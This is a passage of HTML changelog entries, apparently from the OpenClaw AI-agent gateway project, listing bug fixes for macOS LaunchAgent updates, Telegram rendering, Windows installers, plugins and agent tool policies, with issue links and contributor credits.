<li>CLI/update: walk the macOS process ancestry and honor the inherited Gateway runtime PID before package updates stop the managed Gateway service, so nested in-band updater children can refuse instead of killing the LaunchAgent-supervised Gateway that owns them. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498492729" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85120" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85120/hovercard" href="https://github.com/openclaw/openclaw/issues/85120">#85120</a>.</li>
<li>Gateway/LaunchAgent: wait for launchd reload bootout to finish and fall back to kickstart when bootstrap races, so reload handoff does not leave the service deregistered. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488288195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84630" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84630/hovercard" href="https://github.com/openclaw/openclaw/issues/84630">#84630</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488410216" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84641" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84641/hovercard" href="https://github.com/openclaw/openclaw/pull/84641">#84641</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Gateway/LaunchAgent: treat a concurrent launchd bootstrap as a successful restart when the service is already loaded, avoiding false macOS Gateway restart failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490404700" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84721" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84721/hovercard" href="https://github.com/openclaw/openclaw/issues/84721">#84721</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490407392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84722/hovercard" href="https://github.com/openclaw/openclaw/pull/84722">#84722</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/googlerest/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/googlerest">@googlerest</a>.</li>
<li>Gateway/service: include the active <code>openclaw</code> command bin directory in managed service PATH generation and doctor audit expectations for npm-global macOS installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478626262" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84201" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84201/hovercard" href="https://github.com/openclaw/openclaw/issues/84201">#84201</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483865879" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84475" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84475/hovercard" href="https://github.com/openclaw/openclaw/pull/84475">#84475</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jbetala7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jbetala7">@jbetala7</a>.</li>
<li>Control UI/chat: disable the thinking selector for known non-reasoning models instead of showing duplicate Off choices. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476067404" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84069/hovercard" href="https://github.com/openclaw/openclaw/issues/84069">#84069</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DrippingMellow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DrippingMellow">@DrippingMellow</a>.</li>
<li>Memory: expand <code>~</code> in configured extra memory paths before resolving them, so home-relative folders are not treated as workspace-relative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4174961637" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58026" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58026/hovercard" href="https://github.com/openclaw/openclaw/issues/58026">#58026</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stadman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stadman">@stadman</a>.</li>
<li>Skills: treat <code>openclaw.os: macos</code> as Darwin when checking skill requirements, so macOS-only skills no longer report as missing on macOS hosts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4207464550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61338/hovercard" href="https://github.com/openclaw/openclaw/issues/61338">#61338</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jessecq1995/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jessecq1995">@Jessecq1995</a>.</li>
<li>Control UI/logs: strip ANSI escape sequences from displayed Gateway log messages so color codes no longer appear as raw text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4240403085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64399" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64399/hovercard" href="https://github.com/openclaw/openclaw/issues/64399">#64399</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guguangxin-eng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guguangxin-eng">@guguangxin-eng</a>.</li>
<li>Docker: pre-create the workspace and auth-profile config mount points with <code>node</code> ownership so first-run named volumes do not start root-owned. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497404130" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85076" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85076/hovercard" href="https://github.com/openclaw/openclaw/issues/85076">#85076</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Noerr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Noerr">@Noerr</a>.</li>
<li>Telegram: pass configured markdown table mode through outbound markdown chunking so chunked sends render tables consistently. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497655282" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85085" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85085/hovercard" href="https://github.com/openclaw/openclaw/issues/85085">#85085</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ShuaiHui/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ShuaiHui">@ShuaiHui</a>.</li>
<li>Diagnostics/OTel: drop snake_case diagnostic id attributes alongside camelCase ids so exported telemetry cannot leak run, session, message, chat, trace, or tool-call identifiers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333535987" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72645" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72645/hovercard" href="https://github.com/openclaw/openclaw/pull/72645">#72645</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lion0710/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lion0710">@Lion0710</a>.</li>
<li>CLI/update: preserve managed Gateway service environment during package cutovers so macOS LaunchAgent repair/restart reads the pre-update service state instead of caller shell state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463010272" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83026" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83026/hovercard" href="https://github.com/openclaw/openclaw/pull/83026">#83026</a>)</li>
<li>Agents/providers: honor per-model <code>api</code> and <code>baseUrl</code> overrides in custom provider auth hooks and transport selection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417428084" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80487" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80487/hovercard" href="https://github.com/openclaw/openclaw/issues/80487">#80487</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417429259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80488/hovercard" href="https://github.com/openclaw/openclaw/pull/80488">#80488</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huveewomg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huveewomg">@huveewomg</a>.</li>
<li>Gateway/restart: eager-load the lifecycle runtime before in-place upgrade signal handling so package replacement does not deadlock restart imports. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493066623" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84890" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84890/hovercard" href="https://github.com/openclaw/openclaw/pull/84890">#84890</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/myps6415/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/myps6415">@myps6415</a>.</li>
<li>CLI/update: start managed Gateway update handoff helpers from a stable existing directory and tolerate deleted cwd/package roots during macOS LaunchAgent handoff. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473282252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83808" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83808/hovercard" href="https://github.com/openclaw/openclaw/issues/83808">#83808</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473943472" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83875/hovercard" href="https://github.com/openclaw/openclaw/pull/83875">#83875</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</li>
<li>Skills: watch each shared skill directory once across agent workspaces instead of once per agent, preventing file-descriptor exhaustion (<code>EMFILE</code>) that disposed bundle-mcp processes and stalled sessions on multi-agent gateways. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495117353" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84968" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84968/hovercard" href="https://github.com/openclaw/openclaw/issues/84968">#84968</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498689181" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85130" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85130/hovercard" href="https://github.com/openclaw/openclaw/pull/85130">#85130</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Release/security: keep generated npm shrinkwrap package versions inside the pnpm lock graph so published package locks cannot bypass pnpm dependency age and override policy.</li>
<li>Cron: honor <code>cron.retry.retryOn: ["network"]</code> for common network error codes such as <code>EAI_AGAIN</code>, <code>EHOSTUNREACH</code>, and <code>ENETUNREACH</code>.</li>
<li>Gateway chat: broadcast returned agent-run error payloads after an agent starts so ACP/WebChat clients receive terminal idle-timeout errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494484146" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84945" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84945/hovercard" href="https://github.com/openclaw/openclaw/issues/84945">#84945</a>.</li>
<li>Gateway chat display: preserve OpenAI-compatible <code>prompt_tokens</code>, <code>completion_tokens</code>, and <code>total_tokens</code> usage fields in sanitized chat history so llama.cpp sessions keep context counts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386102968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77992" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77992/hovercard" href="https://github.com/openclaw/openclaw/issues/77992">#77992</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarTT79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarTT79">@MarTT79</a>.</li>
<li>Dashboard/CLI: allow macOS browser launching through <code>open</code> even when SSH environment variables are present, while preserving Linux SSH no-display protection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4267511627" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67088" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67088/hovercard" href="https://github.com/openclaw/openclaw/issues/67088">#67088</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/theglove44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/theglove44">@theglove44</a>.</li>
<li>Codex app-server: keep native web search observations out of mirrored chat transcripts while preserving available action query metadata in tool progress telemetry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498152488" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85109" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85109/hovercard" href="https://github.com/openclaw/openclaw/issues/85109">#85109</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ugitmebaby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ugitmebaby">@ugitmebaby</a>.</li>
<li>OpenCode Go: strip unsupported Kimi reasoning replay fields before provider requests so repeated <code>kimi-k2.6</code> turns do not fail schema validation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473302434" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83812" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83812/hovercard" href="https://github.com/openclaw/openclaw/issues/83812">#83812</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sleeck/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sleeck">@Sleeck</a>.</li>
<li>Browser/CDP: add a WSL2 portproxy self-loop hint when Chrome DevTools endpoints accept connections but return an empty HTTP reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4189130225" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59209" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59209/hovercard" href="https://github.com/openclaw/openclaw/issues/59209">#59209</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Owlock/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Owlock">@Owlock</a>.</li>
<li>Agents/tools: add bounded tool-policy audit log entries that identify which allow/deny rule removed tools or blocked a sandboxed tool call. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4152597004" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55801" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55801/hovercard" href="https://github.com/openclaw/openclaw/issues/55801">#55801</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/justinjkline/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/justinjkline">@justinjkline</a>.</li>
<li>CLI/logs: read implicit local Gateway logs through the passive backend client path so <code>openclaw logs --follow</code> does not register as a paired device, and use the active Linux systemd journal instead of stale configured-file fallbacks when live local RPC is unavailable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4470268868" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83656" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83656/hovercard" href="https://github.com/openclaw/openclaw/issues/83656">#83656</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265060636" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66841" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66841/hovercard" href="https://github.com/openclaw/openclaw/issues/66841">#66841</a>.</li>
<li>Agents/OpenAI: preserve structured provider error code, type, and redacted body metadata on boundary-aware transport failures.</li>
<li>Doctor/Codex: point native Codex asset warnings at the canonical <code>openclaw migrate plan codex</code> preview command. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494538415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84948" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84948/hovercard" href="https://github.com/openclaw/openclaw/issues/84948">#84948</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/markoa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/markoa">@markoa</a>.</li>
<li>CLI/models: make <code>capability model auth logout --agent</code> remove auth profiles from the selected non-default agent store. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497811024" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85092" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85092/hovercard" href="https://github.com/openclaw/openclaw/issues/85092">#85092</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/islandpreneur007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/islandpreneur007">@islandpreneur007</a>.</li>
<li>Gateway/models: reuse prepared provider auth metadata during model-listing auth checks so repeated lookups avoid broad plugin discovery while preserving synthetic local auth.</li>
<li>CLI/status: suppress systemd user-service setup hints when <code>openclaw status --deep</code> can already reach a running Gateway RPC service. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497813806" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85094" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85094/hovercard" href="https://github.com/openclaw/openclaw/issues/85094">#85094</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/islandpreneur007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/islandpreneur007">@islandpreneur007</a>.</li>
<li>CLI/devices: recover local approval when a same-device repair request replaces the request ID being approved.</li>
<li>CLI/agents: retry transient normal-close Gateway handshakes before falling back to embedded <code>openclaw agent</code> execution.</li>
<li>CLI/update: keep managed Gateway service stop/restart status lines out of <code>openclaw update --json</code> stdout so package-update automation can parse the JSON payload.</li>
<li>Plugins: resolve OpenClaw plugin SDK subpaths for native external plugin runtimes without mutating package installs or broadening process-wide module resolution.</li>
<li>Agents/OpenAI: preserve Responses and Chat Completions <code>reasoning_tokens</code> usage metadata without double-counting it in aggregate output tokens. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502043775" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85319" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85319/hovercard" href="https://github.com/openclaw/openclaw/pull/85319">#85319</a>)</li>
<li>Control UI/chat: convert pasted <code>data:image/...;base64,...</code> clipboard text into an image attachment instead of dumping the payload into the composer. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4219271267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62604/hovercard" href="https://github.com/openclaw/openclaw/issues/62604">#62604</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cpwilhelmi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cpwilhelmi">@cpwilhelmi</a>.</li>
<li>Providers/Gemini: strip fractional seconds from web-search time range filters so Gemini accepts freshness-bound search requests. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497228388" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85071" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85071/hovercard" href="https://github.com/openclaw/openclaw/pull/85071">#85071</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Noerr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Noerr">@Noerr</a>.</li>
<li>OpenAI Codex: preserve image input support for sparse <code>openai-codex/gpt-5.5</code> catalog rows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497838305" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85095" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85095/hovercard" href="https://github.com/openclaw/openclaw/pull/85095">#85095</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sercada/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sercada">@sercada</a>.</li>
<li>CLI/models: add a piped or pasted API-key path for OpenAI Codex auth and warn when API keys are pasted into token-mode auth. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506010459" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85533/hovercard" href="https://github.com/openclaw/openclaw/pull/85533">#85533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram: dead-letter missing-harness isolated ingress failures so a poisoned spooled update no longer blocks later same-lane messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504658446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85470" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85470/hovercard" href="https://github.com/openclaw/openclaw/issues/85470">#85470</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506677758" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85605" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85605/hovercard" href="https://github.com/openclaw/openclaw/pull/85605">#85605</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Plugins/discovery: strip <code>-plugin</code> package suffixes when deriving plugin id hints so package names line up with manifest ids. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499184691" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85170" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85170/hovercard" href="https://github.com/openclaw/openclaw/pull/85170">#85170</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JulyanXu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JulyanXu">@JulyanXu</a>.</li>
<li>Tlon: stop advertising a non-existent agent tool contract in the plugin manifest.</li>
<li>Telegram: preserve fenced code block languages through Markdown rendering so Telegram receives <code>language-*</code> code classes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499735731" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85209" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85209/hovercard" href="https://github.com/openclaw/openclaw/pull/85209">#85209</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>.</li>
<li>Windows installer: run npm and Corepack command shims from a Windows-local directory so installs launched from WSL2 UNC paths do not fail before OpenClaw is installed.</li>
<li>Windows updates: roll back git-backed updates to the previous checkout when dependency install, build, UI build, or doctor repair fails.</li>
<li>Windows installer: persist user-local portable Git on PATH and activate the repo-pinned pnpm version for git-backed installs and updates.</li>
<li>Windows installer: bootstrap a user-local portable Node.js when native Windows has no Node and no winget, Chocolatey, or Scoop, so first-run installs can continue on raw hosts.</li>
<li>Windows installer: extract the downloaded portable Node.js directory with native <code>tar</code> before falling back to .NET zip extraction, avoiding PowerShell 5.1 archive and path-length failures.</li>
<li>fix(integrations): enforce channel read target allowlists [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495452049" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84982" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84982/hovercard" href="https://github.com/openclaw/openclaw/pull/84982">#84982</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Agents/heartbeat: route single-owner <code>session.dmScope=main</code> direct-message exec and cron event wakes back to the agent main session so async completions no longer strand context in orphan direct-DM queues. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328109968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71581" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71581/hovercard" href="https://github.com/openclaw/openclaw/issues/71581">#71581</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472187030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83743" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83743/hovercard" href="https://github.com/openclaw/openclaw/pull/83743">#83743</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/code-mode: expose outer code-mode <code>exec</code> source through the <code>command</code> hook alias with <code>toolKind</code>/<code>toolInputKind</code> discriminators so exec-shaped policies can distinguish code-mode cells. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466955914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83483/hovercard" href="https://github.com/openclaw/openclaw/pull/83483">#83483</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/code mode: return structured timeout and runtime-unavailable error codes for known worker failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465759055" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83389" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83389/hovercard" href="https://github.com/openclaw/openclaw/issues/83389">#83389</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466377793" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83444/hovercard" href="https://github.com/openclaw/openclaw/pull/83444">#83444</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>QA-Lab: isolate multi-scenario suite workers when scenarios need startup config patches, preventing message-routing config from leaking into unrelated scenarios.</li>
<li>QA-Lab: make the commitments heartbeat-target-none scenario request an immediate heartbeat instead of waiting for the next scheduled heartbeat.</li>
<li>Codex/Plugin SDK: deliver Codex-native subagent completions through a generic harness task runtime so harness-backed plugins can mirror durable task lifecycle and completion delivery without Codex-specific SDK imports. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466398711" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83445" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83445/hovercard" href="https://github.com/openclaw/openclaw/pull/83445">#83445</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bryanpearson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bryanpearson">@bryanpearson</a>.</li>
